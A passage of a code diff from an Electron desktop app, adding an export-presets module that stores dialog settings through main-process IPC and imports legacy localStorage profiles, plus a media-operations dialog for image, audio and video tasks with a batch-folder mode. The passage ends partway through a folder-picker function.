 * @param {string|null} [context.filePath] - Active tab's file path, used to
 *   prefill File A and to resolve the Git HEAD mode.
 */
 function showDocumentCompareDialog({ filePath = null } = {}) {
  ensureDialog();
  currentFilePath = filePath;
  els.fileAInput.value = filePath || '';
  els.fileBInput.value = '';
  els.gitFile.textContent = filePath || '(unsaved document)';
  els.modeSelect.value = 'local';
  updateModeSections();
  refreshGitModeAvailability();
  modalManager.open();
 }
 module.exports = { showDocumentCompareDialog };
@@ -0,0 +1,524 @@
 /**
 * Export Presets UI
 *
 * Preset dropdown + "Save as preset" for the export-options dialog
 * (#export-dialog in src/index.html). Replaces the earlier localStorage-only
 * "export profiles": presets are now owned by the main process and persisted
 * in settings.json (`exportPresets` key) through three invoke channels —
 * get-export-presets / save-export-preset / delete-export-preset — so they
 * behave like every other app setting instead of living and dying with the
 * renderer's localStorage.
 *
 * Construction mirrors src/renderer/document-compare-dialog.js: a dialog
 * module in src/renderer/ using the raw `ipcRenderer` invoke surface
 * (nodeIntegration is enabled for this renderer). DOM is hand-rolled — a
 * button + row list instead of a native <select> so each preset row can carry
 * its own delete icon.
 *
 * The dialog markup lives in src/index.html; renderer.js calls
 * initExportPresets() once at startup and refreshExportPresets() whenever the
 * export dialog opens.
 */
 const { ipcRenderer } = require('electron');
 // localStorage key of the pre-4.x renderer-only "export profiles" that the
 // preset system replaced; consumed once by importLegacyProfiles().
 const LEGACY_PROFILES_KEY = 'exportProfiles';
 let currentPresets = [];
 let selectedPresetId = null;
 let notify = (message, type) => console.warn(`Export presets (${type}): ${message}`);
 // ============================================
 // DOM helpers (all element access is guarded —
 // this module may outlive a dialog re-render)
 // ============================================
 function elementById(id) {
  return document.getElementById(id);
 }
 function valueOf(id) {
  const el = elementById(id);
  return el ? el.value : '';
 }
 function setValue(id, value) {
  const el = elementById(id);
  if (el) el.value = value;
 }
 function isChecked(id) {
  const el = elementById(id);
  return !!(el && el.checked);
 }
 function setChecked(id, checked) {
  const el = elementById(id);
  if (el) el.checked = checked;
 }
 function setVisible(id, visible) {
  const el = elementById(id);
  if (el) el.style.display = visible ? 'block' : 'none';
 }
 function getDialogFormat() {
  const dialogEl = elementById('export-dialog');
  return dialogEl ? dialogEl.getAttribute('data-format') : null;
 }
 // ============================================
 // Capture / restore of the dialog's option values
 // ============================================
 /**
 * Snapshot every option field of the export dialog into a plain object.
 * Side-effect free (unlike collectExportOptions in renderer.js, which also
 * pushes page settings to the main process) — the snapshot is stored as the
 * preset's `options` and replayed by applyPresetToDialog().
 * @returns {Object} options snapshot
 */
 function captureDialogOptions() {
  const format = getDialogFormat();
  const advancedMode = isChecked('advanced-export-toggle');
  const options = {
    advancedMode,
    pageSize: valueOf('page-size'),
    pageOrientation: valueOf('page-orientation'),
    customWidth: valueOf('custom-width').trim() || null,
    customHeight: valueOf('custom-height').trim() || null,
  };
  if (!advancedMode) {
    options.toc = isChecked('basic-toc');
    options.numberSections = isChecked('basic-number-sections');
    return options;
  }
  const template = valueOf('export-template');
  options.template = template === 'custom' ? valueOf('custom-template-path').trim() : template;
  options.metadata = {};
  document.querySelectorAll('.metadata-field').forEach((field) => {
    const key = field.querySelector('.metadata-key').value.trim();
    const value = field.querySelector('.metadata-value').value.trim();
    if (key && value) options.metadata[key] = value;
  });
  options.toc = isChecked('export-toc');
  options.tocDepth = valueOf('export-toc-depth') || '3';
  options.numberSections = isChecked('export-number-sections');
  options.citeproc = isChecked('export-citeproc');
  if (format === 'pdf') {
    options.pdfEngine = valueOf('pdf-engine');
    const geometrySelect = valueOf('pdf-geometry');
    options.geometry =
      geometrySelect === 'custom'
        ? valueOf('custom-geometry').trim() || 'margin=1in'
        : geometrySelect;
  }
  if (format === 'revealjs') {
    options.revealTheme = valueOf('reveal-theme');
    options.revealTransition = valueOf('reveal-transition');
    options.revealTransitionSpeed = valueOf('reveal-speed');
    options.revealSlideNumber = isChecked('reveal-slide-number');
    options.revealControls = isChecked('reveal-controls');
    options.revealProgress = isChecked('reveal-progress');
    options.revealHistory = isChecked('reveal-history');
    options.revealCenter = isChecked('reveal-center');
  }
  const bibliography = valueOf('bibliography-file').trim();
  const csl = valueOf('csl-file').trim();
  if (bibliography) options.bibliography = bibliography;
  if (csl) options.csl = csl;
  return options;
 }
 /**
 * Restore a preset's option snapshot onto the dialog. Every field is written
 * explicitly (preset value or the dialog default), so switching from a rich
 * preset to a plain one clears whatever the rich one had set.
 * @param {{options?: Object}} preset preset to apply
 */
 function applyPresetToDialog(preset) {
  const options = (preset && preset.options) || {};
  const advancedMode = options.advancedMode === true;
  setChecked('advanced-export-toggle', advancedMode);
  const advancedSection = elementById('advanced-export-options');
  if (advancedSection) advancedSection.classList.toggle('hidden', !advancedMode);
  // Page setup (applies to both modes)
  setValue('page-size', options.pageSize || 'a4');
  setValue('page-orientation', options.pageOrientation || 'portrait');
  setValue('custom-width', options.customWidth || '');
  setValue('custom-height', options.customHeight || '');
  setVisible('custom-page-size', valueOf('page-size') === 'custom');
  setChecked('basic-toc', !advancedMode && options.toc === true);
  setChecked('basic-number-sections', !advancedMode && options.numberSections === true);
  // In basic mode the advanced-only fields are reset to their defaults so no
  // stale values from a previously applied rich preset survive the switch.
  const advancedOptions = advancedMode ? options : {};
  // Template: anything other than the literal default is a custom path
  const template =
    advancedOptions.template && advancedOptions.template !== 'default'
      ? advancedOptions.template
      : null;
  if (template) {
    setValue('export-template', 'custom');
    setValue('custom-template-path', template);
    setVisible('custom-template-path', true);
    setVisible('template-file-input', true);
  } else {
    setValue('export-template', 'default');
    setValue('custom-template-path', '');
    setVisible('custom-template-path', false);
    setVisible('template-file-input', false);
  }
  rebuildMetadataRows(advancedOptions.metadata || {});
  setChecked('export-toc', advancedOptions.toc === true);
  setValue('export-toc-depth', advancedOptions.tocDepth || '3');
  setChecked('export-number-sections', advancedOptions.numberSections === true);
  setChecked('export-citeproc', advancedOptions.citeproc === true);
  // PDF options
  setValue('pdf-engine', advancedOptions.pdfEngine || 'xelatex');
  const geometry = advancedOptions.geometry || 'margin=1in';
  const geometrySelect = elementById('pdf-geometry');
  const hasGeometryOption =
    geometrySelect && Array.from(geometrySelect.options).some((opt) => opt.value === geometry);
  if (hasGeometryOption) {
    setValue('pdf-geometry', geometry);
    setValue('custom-geometry', '');
    setVisible('custom-geometry', false);
  } else {
    setValue('pdf-geometry', 'custom');
    setValue('custom-geometry', geometry);
    setVisible('custom-geometry', true);
  }
  // Reveal.js options
  setValue('reveal-theme', advancedOptions.revealTheme || 'black');
  setValue('reveal-transition', advancedOptions.revealTransition || 'slide');
  setValue('reveal-speed', advancedOptions.revealTransitionSpeed || 'default');
  setChecked('reveal-slide-number', advancedOptions.revealSlideNumber === true);
  setChecked('reveal-controls', advancedOptions.revealControls !== false);
  setChecked('reveal-progress', advancedOptions.revealProgress !== false);
  setChecked('reveal-history', advancedOptions.revealHistory !== false);
  setChecked('reveal-center', advancedOptions.revealCenter !== false);
  setValue('bibliography-file', advancedOptions.bibliography || '');
  setValue('csl-file', advancedOptions.csl || '');
 }
 function rebuildMetadataRows(metadata) {
  const container = document.querySelector('.metadata-container');
  if (!container) return;
  const entries = Object.keys(metadata).map((key) => [key, metadata[key]]);
  if (entries.length === 0) {
    ['title', 'author', 'date', 'subject'].forEach((key) => entries.push([key, '']));
  }
  container.innerHTML = '';
  entries.forEach(([key, value]) => {
    const field = document.createElement('div');
    field.className = 'metadata-field';
    const keyInput = document.createElement('input');
    keyInput.type = 'text';
    keyInput.className = 'metadata-key';
    keyInput.value = key;
    const valueInput = document.createElement('input');
    valueInput.type = 'text';
    valueInput.className = 'metadata-value';
    valueInput.value = value;
    field.append(keyInput, valueInput);
    container.appendChild(field);
  });
 }
 // ============================================
 // Preset dropdown rendering + interaction
 // ============================================
 function createPresetRow(preset) {
  const selected = preset.id === selectedPresetId;
  const row = document.createElement('div');
  row.className = selected ? 'preset-row selected' : 'preset-row';
  row.dataset.id = preset.id;
  row.setAttribute('role', 'option');
  row.setAttribute('aria-selected', selected ? 'true' : 'false');
  const selectButton = document.createElement('button');
  selectButton.type = 'button';
  selectButton.className = 'preset-row-select';
  selectButton.textContent = preset.name;
  row.appendChild(selectButton);
  if (preset.format) {
    const badge = document.createElement('span');
    badge.className = 'preset-format';
    badge.textContent = preset.format;
    row.appendChild(badge);
  }
  const deleteButton = document.createElement('button');
  deleteButton.type = 'button';
  deleteButton.className = 'preset-delete';
  deleteButton.textContent = '×';
  deleteButton.title = `Delete preset ${preset.name}`;
  deleteButton.setAttribute('aria-label', `Delete preset ${preset.name}`);
  row.appendChild(deleteButton);
  return row;
 }
 function renderPresets() {
  const list = elementById('preset-dropdown-list');
  const toggle = elementById('preset-dropdown-toggle');
  if (!list || !toggle) return;
  list.innerHTML = '';
  if (currentPresets.length === 0) {
    const empty = document.createElement('div');
    empty.className = 'preset-empty';
    empty.textContent = 'No saved presets';
    list.appendChild(empty);
  } else {
    currentPresets.forEach((preset) => list.appendChild(createPresetRow(preset)));
  }
  const selected = currentPresets.find((preset) => preset.id === selectedPresetId);
  toggle.textContent = selected ? selected.name : 'Custom Settings';
  closeDropdown();
 }
 function toggleDropdown() {
  const list = elementById('preset-dropdown-list');
  if (!list) return;
  const opened = !list.classList.contains('hidden');
  list.classList.toggle('hidden');
  const toggle = elementById('preset-dropdown-toggle');
  if (toggle) toggle.setAttribute('aria-expanded', String(!opened));
 }
 function closeDropdown() {
  const list = elementById('preset-dropdown-list');
  if (list) list.classList.add('hidden');
  const toggle = elementById('preset-dropdown-toggle');
  if (toggle) toggle.setAttribute('aria-expanded', 'false');
 }
 function handleListClick(event) {
  const deleteButton = event.target.closest('.preset-delete');
  const row = event.target.closest('.preset-row');
  if (deleteButton && row) {
    deleteExportPreset(row.dataset.id);
    return;
  }
  if (row) selectPreset(row.dataset.id);
 }
 function selectPreset(presetId) {
  const preset = currentPresets.find((candidate) => candidate.id === presetId);
  if (!preset) return;
  selectedPresetId = presetId;
  applyPresetToDialog(preset);
  renderPresets();
 }
 // ============================================
 // IPC-backed preset operations
 // ============================================
 /**
 * Fetch presets from the main process and re-render the dropdown.
 * Called whenever the export dialog opens.
 */
 async function refreshExportPresets() {
  try {
    const presets = await ipcRenderer.invoke('get-export-presets');
    currentPresets = Array.isArray(presets) ? presets : [];
  } catch (error) {
    console.error('Failed to load export presets:', error);
    currentPresets = [];
  }
  if (!currentPresets.some((preset) => preset.id === selectedPresetId)) {
    selectedPresetId = null;
  }
  renderPresets();
 }
 async function saveCurrentAsPreset() {
  const selected = currentPresets.find((preset) => preset.id === selectedPresetId);
  const defaultName = selected ? selected.name : 'My Preset';
  const answer = window.prompt('Enter a name for this export preset:', defaultName);
  if (answer === null) return; // user cancelled the prompt
  const name = answer.trim();
  if (!name) {
    notify('Preset name cannot be empty.', 'warning');
    return;
  }
  // A selected preset is overwritten (same id); otherwise a new id is minted.
  // The main process re-validates and remains the source of truth.
  const preset = {
    id: selected ? selected.id : createPresetId(),
    name,
    format: getDialogFormat(),
    options: captureDialogOptions(),
  };
  try {
    const presets = await ipcRenderer.invoke('save-export-preset', preset);
    currentPresets = Array.isArray(presets) ? presets : currentPresets;
    // Normally the saved preset keeps the id we sent; fall back to the last
    // entry with the same name should the main process have normalized it.
    selectedPresetId = preset.id;
    if (!currentPresets.some((candidate) => candidate.id === selectedPresetId)) {
      const byName = currentPresets.filter((candidate) => candidate.name === name).pop();
      selectedPresetId = byName ? byName.id : null;
    }
    renderPresets();
    notify(`Preset "${name}" saved.`, 'success');
  } catch (error) {
    console.error('Failed to save export preset:', error);
    notify('Failed to save preset. Please try again.', 'warning');
  }
 }
 async function deleteExportPreset(presetId) {
  const preset = currentPresets.find((candidate) => candidate.id === presetId);
  const label = preset ? preset.name : 'this preset';
  if (!window.confirm(`Are you sure you want to delete the preset "${label}"?`)) return;
  try {
    const presets = await ipcRenderer.invoke('delete-export-preset', presetId);
    currentPresets = Array.isArray(presets) ? presets : currentPresets;
    if (selectedPresetId === presetId) selectedPresetId = null;
    renderPresets();
    notify(`Preset "${label}" deleted.`, 'success');
  } catch (error) {
    console.error('Failed to delete export preset:', error);
    notify('Failed to delete preset. Please try again.', 'warning');
  }
 }
 function createPresetId() {
  return `preset-${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 8)}`;
 }
 // ============================================
 // One-time import of legacy localStorage profiles
 // ============================================
 /**
 * Map one legacy export profile onto the preset options shape captured by
 * captureDialogOptions(). Legacy shape (saveCurrentProfile at git 52ef5b4):
 * { format, advancedMode, pageSize, pageOrientation, basicToc,
 * basicNumberSections } plus, in advanced mode, { template, toc, tocDepth,
 * numberSections, citeproc, pdfEngine, pdfGeometry } — all raw select/input
 * values. Two fidelity limits of the legacy format itself: the custom
 * template PATH and the custom geometry TEXT were never persisted (only the
 * literal select value 'custom'), so those map back to the dialog defaults.
 * @param {Object} profile legacy profile value
 * @returns {Object} preset options snapshot
 */
 function mapLegacyProfileOptions(profile) {
  const advancedMode = profile.advancedMode === true;
  const options = {
    advancedMode,
    pageSize: typeof profile.pageSize === 'string' ? profile.pageSize : 'a4',
    pageOrientation:
      typeof profile.pageOrientation === 'string' ? profile.pageOrientation : 'portrait',
  };
  if (!advancedMode) {
    // Basic mode maps like collectExportOptions: basicToc -> toc,
    // basicNumberSections -> numberSections.
    options.toc = profile.basicToc === true;
    options.numberSections = profile.basicNumberSections === true;
    return options;
  }
  options.template = 'default';
  options.metadata = {};
  options.toc = profile.toc === true;
  options.tocDepth =
    typeof profile.tocDepth === 'string' && profile.tocDepth ? profile.tocDepth : '3';
  options.numberSections = profile.numberSections === true;
  options.citeproc = profile.citeproc === true;
  options.pdfEngine = typeof profile.pdfEngine === 'string' ? profile.pdfEngine : 'xelatex';
  options.geometry =
    typeof profile.pdfGeometry === 'string' && profile.pdfGeometry !== 'custom'
      ? profile.pdfGeometry
      : 'margin=1in';
  return options;
 }
 /**
 * Import the legacy localStorage export profiles into the main-process preset
 * store via save-export-preset, then remove the legacy key so the import runs
 * only once. Ids are deterministic (`preset-legacy-<name>`), so an import
 * interrupted midway retries as an upsert on the next launch instead of
 * duplicating presets. Malformed or unexpected data degrades to "skip import"
 * — it must never break dialog init.
 * @returns {Promise<boolean>} true when at least one preset was imported
 */
 async function importLegacyProfiles() {
  try {
    const raw = localStorage.getItem(LEGACY_PROFILES_KEY);
    if (!raw) return false;
    const legacy = JSON.parse(raw);
    if (!legacy || typeof legacy !== 'object' || Array.isArray(legacy)) return false;
    let imported = false;
    for (const name of Object.keys(legacy)) {
      const profile = legacy[name];
      if (!name.trim() || !profile || typeof profile !== 'object') continue;
      await ipcRenderer.invoke('save-export-preset', {
        id: `preset-legacy-${name}`,
        name,
        format: typeof profile.format === 'string' ? profile.format : null,
        options: mapLegacyProfileOptions(profile),
      });
      imported = true;
    }
    localStorage.removeItem(LEGACY_PROFILES_KEY);
    return imported;
  } catch (error) {
    console.error('Skipping legacy export profile import:', error);
    return false;
  }
 }
 /**
 * Wire the preset section of the export dialog. Call once after DOM ready.
 * @param {{notify?: Function}} options hooks from renderer.js
 */
 function initExportPresets(options = {}) {
  if (typeof options.notify === 'function') notify = options.notify;
  selectedPresetId = null;
  const saveButton = elementById('save-preset-btn');
  if (saveButton) saveButton.addEventListener('click', saveCurrentAsPreset);
  const toggle = elementById('preset-dropdown-toggle');
  if (toggle) toggle.addEventListener('click', toggleDropdown);
  const list = elementById('preset-dropdown-list');
  if (list) list.addEventListener('click', handleListClick);
  // One-time legacy import; refresh afterwards so imported presets are
  // visible even if the dialog is already open.
  importLegacyProfiles().then((imported) => {
    if (imported) refreshExportPresets();
  });
 }
 module.exports = {
  initExportPresets,
  refreshExportPresets,
  captureDialogOptions,
  applyPresetToDialog,
 };
@@ -0,0 +1,922 @@
 /**
 * Media Operations Dialog
 *
 * Single dialog for image/audio/video operation-specific tasks (resize, compress,
 * rotate, trim, extract, merge, frames, gif, ...). Mirrors the construction pattern
 * used by the PDF Editor dialog in renderer.js (a modal built from `.modal` /
 * `.modal-content` / `.modal-header` / `.modal-body` / `.modal-footer` markup, driven
 * by ModalManager, with a readonly text input + "Browse" button for file/folder
 * selection, and a status line reusing the `info-message` / `success-message` /
 * `warning-message` classes) — except the operation-specific fields are generated
 * dynamically instead of being hand-authored per-operation in index.html, since the
 * three media kinds together cover 13 distinct operations.
 *
 * File selection reuses the app's existing convention: a plain `<input type="file">`
 * whose chosen File is resolved to a path via `window.electronAPI.getFilePath`
 * (webUtils.getPathForFile — `File.path` was removed in Electron 32), the same
 * approach already used throughout the PDF Editor and Universal Converter
 * dialogs. No new IPC channel is needed for single-file or save-file pickers. Output
 * *folder* selection (used by the video "Extract Frames" operation, and by batch
 * mode below) reuses the existing generic `select-folder` / `folder-selected` IPC
 * channels already wired up in main.js for the batch converter — filtered here by a
 * unique `type` string per picker so this dialog only reacts to requests it made.
 *
 * A "Mode: Single File / Batch Folder" dropdown (disabled for audio "Merge", which
 * doesn't fit a per-file batch model) swaps the input/output file fields for an
 * Input Folder + "Include subfolders" + Output Folder trio while keeping every other
 * parameter field as-is; Process then fires `batch-image-operation` /
 * `batch-audio-operation` / `batch-video-operation` (fire-and-forget, like
 * `universal-convert-batch`) and progress/completion arrive via the
 * `media-batch-progress` / `media-batch-complete` events sent by
 * `runMediaBatchOperation()` in main.js.
 *
 * @module media-operations-dialog
 */
 const { ipcRenderer } = require('electron');
 const { getFilePath } = require('../utils/file-path');
 const IMAGE_ACCEPT = '.jpg,.jpeg,.png,.webp,.avif,.tiff,.tif,.gif';
 const AUDIO_ACCEPT = '.mp3,.wav,.ogg,.flac,.aac,.m4a,.wma';
 const VIDEO_ACCEPT = '.mp4,.mov,.avi,.mkv,.webm,.flv,.wmv';
 // Field names below are chosen to exactly match the `data` shape each backend
 // operation destructures — see src/main/ImageOperations.js, AudioOperations.js,
 // VideoOperations.js.
 const MEDIA_KIND_CONFIG = {
  image: {
    title: 'Image Tools',
    channel: 'process-image-operation',
    batchChannel: 'batch-image-operation',
    operations: {
      convert: {
        label: 'Convert Format',
        fields: [
          { name: 'inputPath', label: 'Input Image', type: 'file', accept: IMAGE_ACCEPT },
          {
            name: 'format',
            label: 'Output Format',
            type: 'select',
            options: ['jpeg', 'png', 'webp', 'avif', 'tiff', 'gif'],
            default: 'png',
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      resize: {
        label: 'Resize',
        help: 'Provide at least one of Width or Height; the other scales proportionally.',
        fields: [
          { name: 'inputPath', label: 'Input Image', type: 'file', accept: IMAGE_ACCEPT },
          { name: 'width', label: 'Width (px)', type: 'number', min: 1, optional: true },
          { name: 'height', label: 'Height (px)', type: 'number', min: 1, optional: true },
          {
            name: 'fit',
            label: 'Fit Mode',
            type: 'select',
            options: ['cover', 'contain', 'fill', 'inside', 'outside'],
            default: 'inside',
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      compress: {
        label: 'Compress',
        fields: [
          { name: 'inputPath', label: 'Input Image', type: 'file', accept: IMAGE_ACCEPT },
          {
            name: 'quality',
            label: 'Quality (1-100)',
            type: 'number',
            min: 1,
            max: 100,
            default: 80,
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      rotate: {
        label: 'Rotate',
        fields: [
          { name: 'inputPath', label: 'Input Image', type: 'file', accept: IMAGE_ACCEPT },
          { name: 'angle', label: 'Angle (degrees)', type: 'number', default: 90, step: 1 },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
    },
  },
  audio: {
    title: 'Audio Tools',
    channel: 'process-audio-operation',
    batchChannel: 'batch-audio-operation',
    operations: {
      convert: {
        label: 'Convert Format',
        fields: [
          { name: 'inputPath', label: 'Input Audio', type: 'file', accept: AUDIO_ACCEPT },
          {
            name: 'format',
            label: 'Output Format',
            type: 'select',
            options: ['mp3', 'wav', 'ogg', 'flac', 'aac', 'm4a'],
            default: 'mp3',
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      trim: {
        label: 'Trim',
        fields: [
          { name: 'inputPath', label: 'Input Audio', type: 'file', accept: AUDIO_ACCEPT },
          {
            name: 'startTime',
            label: 'Start Time (seconds)',
            type: 'number',
            min: 0,
            default: 0,
          },
          { name: 'duration', label: 'Duration (seconds)', type: 'number', min: 0, default: 10 },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      extract: {
        label: 'Extract Audio Track',
        help: 'Extracts the audio track from a video or audio file.',
        fields: [
          {
            name: 'inputPath',
            label: 'Input File (video or audio)',
            type: 'file',
            accept: `${VIDEO_ACCEPT},${AUDIO_ACCEPT}`,
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      merge: {
        label: 'Merge',
        help: 'Select at least 2 audio files to merge, in order.',
        // Merge combines several input files into a single output — it does not
        // fit the "apply the same operation to every file in a folder" batch model
        // (there is no single "one operation per file" mapping), so batch mode is
        // unavailable for it. Enforced both here (hides the Batch option in the UI)
        // and defensively in main.js's BATCH_OUTPUT_SPEC (no 'merge' entry).
        batchable: false,
        fields: [
          {
            name: 'inputPaths',
            label: 'Input Audio Files',
            type: 'files',
            accept: AUDIO_ACCEPT,
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
    },
  },
  video: {
    title: 'Video Tools',
    channel: 'process-video-operation',
    batchChannel: 'batch-video-operation',
    operations: {
      convert: {
        label: 'Convert Format',
        help: 'Output format is inferred from the output file extension (e.g. .mp4, .webm).',
        fields: [
          { name: 'inputPath', label: 'Input Video', type: 'file', accept: VIDEO_ACCEPT },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      compress: {
        label: 'Compress',
        fields: [
          { name: 'inputPath', label: 'Input Video', type: 'file', accept: VIDEO_ACCEPT },
          {
            name: 'crf',
            label: 'CRF (0-51, lower = higher quality)',
            type: 'number',
            min: 0,
            max: 51,
            default: 28,
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      trim: {
        label: 'Trim',
        fields: [
          { name: 'inputPath', label: 'Input Video', type: 'file', accept: VIDEO_ACCEPT },
          {
            name: 'startTime',
            label: 'Start Time (seconds)',
            type: 'number',
            min: 0,
            default: 0,
          },
          { name: 'duration', label: 'Duration (seconds)', type: 'number', min: 0, default: 10 },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
      frames: {
        label: 'Extract Frames',
        fields: [
          { name: 'inputPath', label: 'Input Video', type: 'file', accept: VIDEO_ACCEPT },
          {
            name: 'fps',
            label: 'Frames per Second',
            type: 'number',
            min: 0.1,
            step: 0.1,
            default: 1,
          },
          { name: 'outputDir', label: 'Output Folder', type: 'folder' },
        ],
      },
      gif: {
        label: 'Convert to GIF',
        fields: [
          { name: 'inputPath', label: 'Input Video', type: 'file', accept: VIDEO_ACCEPT },
          { name: 'fps', label: 'Frames per Second', type: 'number', min: 1, default: 10 },
          {
            name: 'width',
            label: 'Width (px, height auto-scales)',
            type: 'number',
            min: 1,
            default: 480,
          },
          { name: 'outputPath', label: 'Output File', type: 'save' },
        ],
      },
    },
  },
 };
 const FOLDER_PICK_TYPE = 'media-operations-output-dir';
 const BATCH_INPUT_FOLDER_PICK_TYPE = 'media-operations-batch-input-dir';
 const BATCH_OUTPUT_FOLDER_PICK_TYPE = 'media-operations-batch-output-dir';
 const BATCH_INPUT_FIELD_NAME = 'batchInputFolder';
 const BATCH_OUTPUT_FIELD_NAME = 'batchOutputFolder';
 const BATCH_SUBFOLDERS_FIELD_NAME = 'batchIncludeSubfolders';
 let modalEl = null;
 let modalManager = null;
 let els = null;
 let currentKind = null;
 let currentMode = 'single';
 let mergeFilePaths = [];
 function fieldElId(name) {
  return `media-field-${name}`;
 }
 function buildDialogDom() {
  modalEl = document.createElement('div');
  modalEl.id = 'media-operations-dialog';
  modalEl.className = 'modal hidden';
  modalEl.setAttribute('role', 'dialog');
  modalEl.setAttribute('aria-modal', 'true');
  modalEl.setAttribute('aria-labelledby', 'media-operations-title');
  modalEl.innerHTML = `
    <div class="modal-backdrop" data-close></div>
    <div class="modal-content large">
      <div class="modal-header">
        <h3 id="media-operations-title">Media Tools</h3>
        <button class="modal-close" id="media-operations-close" aria-label="Close">&times;</button>
      </div>
      <div class="modal-body">
        <div class="export-section">
          <label for="media-operation-select">Operation:</label>
          <select id="media-operation-select"></select>
        </div>
        <div class="export-section">
          <label for="media-mode-select">Mode:</label>
          <select id="media-mode-select">
            <option value="single">Single File</option>
            <option value="batch">Batch Folder (apply to every matching file)</option>
          </select>
        </div>
        <small id="media-operation-help" class="hidden"></small>
        <div id="media-operation-fields"></div>
        <div id="media-status-message" class="info-message hidden" aria-live="polite"></div>
        <div id="media-progress" class="batch-progress hidden">
          <div class="progress-bar">
            <div class="progress-fill" id="media-progress-fill"></div>
          </div>
          <div class="progress-text">
            <span id="media-progress-text">Processing...</span>
          </div>
        </div>
      </div>
      <div class="modal-footer">
        <button id="media-operations-cancel" class="btn btn-secondary" data-close>Cancel</button>
        <button id="media-operations-process" class="btn btn-primary">Process</button>
      </div>
    </div>
  `;
  document.body.appendChild(modalEl);
  els = {
    title: modalEl.querySelector('#media-operations-title'),
    operationSelect: modalEl.querySelector('#media-operation-select'),
    modeSelect: modalEl.querySelector('#media-mode-select'),
    help: modalEl.querySelector('#media-operation-help'),
    fieldsContainer: modalEl.querySelector('#media-operation-fields'),
    status: modalEl.querySelector('#media-status-message'),
    progress: modalEl.querySelector('#media-progress'),
    progressFill: modalEl.querySelector('#media-progress-fill'),
    progressText: modalEl.querySelector('#media-progress-text'),
    processBtn: modalEl.querySelector('#media-operations-process'),
    cancelBtn: modalEl.querySelector('#media-operations-cancel'),
  };
  els.operationSelect.addEventListener('change', () => {
    currentMode = 'single';
    updateModeOptions();
    renderFields();
  });
  els.modeSelect.addEventListener('change', () => {
    currentMode = els.modeSelect.value;
    renderFields();
  });
  els.processBtn.addEventListener('click', handleProcess);
  els.cancelBtn.addEventListener('click', hideDialog);
  modalManager = new window.ModalManager(modalEl);
  // Generic output-folder picker reply (shared with the batch converter's
  // input/output folder pickers) — filter by our own `type` so we only react
  // to requests this dialog made.
  ipcRenderer.on('folder-selected', (event, { type, path: folderPath }) => {
    if (!folderPath) return;
    let targetFieldName = null;
    if (type === FOLDER_PICK_TYPE) targetFieldName = 'outputDir';
    else if (type === BATCH_INPUT_FOLDER_PICK_TYPE) targetFieldName = BATCH_INPUT_FIELD_NAME;
    else if (type === BATCH_OUTPUT_FOLDER_PICK_TYPE) targetFieldName = BATCH_OUTPUT_FIELD_NAME;
    if (!targetFieldName) return;
    const input = document.getElementById(fieldElId(targetFieldName));
    if (input) input.value = folderPath;
  });
  // Batch operation progress/completion (main.js: runMediaBatchOperation()).
  ipcRenderer.on('media-batch-progress', (event, { completed, failed, total, currentFile }) => {
    if (!els.progress || els.progress.classList.contains('hidden')) return;
    const pct = total > 0 ? Math.round((completed / total) * 100) : 0;
    els.progressFill.style.width = `${pct}%`;
    els.progressText.textContent = currentFile
      ? `Processing ${completed + 1}/${total}: ${currentFile}${failed ? ` (${failed} failed so far)` : ''}`
      : `Processed ${completed}/${total}${failed ? ` (${failed} failed)` : ''}`;
  });
  ipcRenderer.on('media-batch-complete', (event, { success, completed, failed, total, error }) => {
    hideProgress();
    if (success) {
      showStatus(
        `Batch complete: ${completed}/${total} file(s) processed${failed ? ` (${failed} failed)` : ''}.`,
        failed > 0 ? 'warning' : 'success'
      );
    } else {
      showStatus(`Error: ${error || 'Batch operation failed.'}`, 'warning');
    }
  });
 }
 function ensureDialog() {
  if (!modalEl) {
    buildDialogDom();
  }
 }
 function clearStatus() {
  if (!els.status) return;
  els.status.textContent = '';
  els.status.classList.remove('info-message', 'warning-message', 'success-message');
  els.status.classList.add('hidden');
 }
 function showStatus(message, type = 'info') {
  if (!els.status) return;
  els.status.textContent = message;
  els.status.classList.remove('hidden', 'info-message', 'warning-message', 'success-message');
  els.status.classList.add(`${type}-message`);
 }
 function showProgress() {
  els.progress.classList.remove('hidden');
  els.progressText.textContent = 'Processing...';
  els.progressFill.style.width = '50%';
  els.processBtn.disabled = true;
 }
 function hideProgress() {
  els.progress.classList.add('hidden');
  els.progressFill.style.width = '0%';
  els.processBtn.disabled = false;
 }
 function createFolderInputGroup(field, { onBrowse }) {
  const wrapper = document.createElement('div');
  wrapper.className = 'export-section';
  const label = document.createElement('label');
  label.setAttribute('for', fieldElId(field.name));
  label.textContent = `${field.label}:`;
  wrapper.appendChild(label);
  const group = document.createElement('div');
  group.className = 'folder-input-group';
  const input = document.createElement('input');
  input.type = 'text';
  input.id = fieldElId(field.name);
  input.placeholder = field.placeholder || 'Choose...';
  input.readOnly = true;
  group.appendChild(input);
  const browseBtn = document.createElement('button');
  browseBtn.type = 'button';
  browseBtn.textContent = field.type === 'folder' ? 'Browse Folder' : 'Browse';
  browseBtn.addEventListener('click', () => onBrowse(input));
  group.appendChild(browseBtn);
  wrapper.appendChild(group);
  return wrapper;
 }
 function renderFileField(field) {
  return createFolderInputGroup(field, {
    onBrowse: (input) => {
      const fileInput = document.createElement('input');
      fileInput.type = 'file';
      fileInput.accept = field.accept || '*';
      fileInput.onchange = (e) => {
        const file = e.target.files[0];
        if (file) input.value = getFilePath(file);
      };
      fileInput.click();
    },
  });
 }
 function renderSaveField(field) {
  return createFolderInputGroup(field, {
    onBrowse: (input) => {
      const fileInput = document.createElement('input');
      fileInput.type = 'file';
      fileInput.nwsaveas = true;
      fileInput.onchange = (e) => {
        const file = e.target.files[0];
        if (file) input.value = getFilePath(file);
      };
      fileInput.click();
    },
  });
 }
 function renderFolderField(field, pickType = FOLDER_PICK_TYPE) {
  return createFolderInputGroup(field, {
    onBrowse: () => {
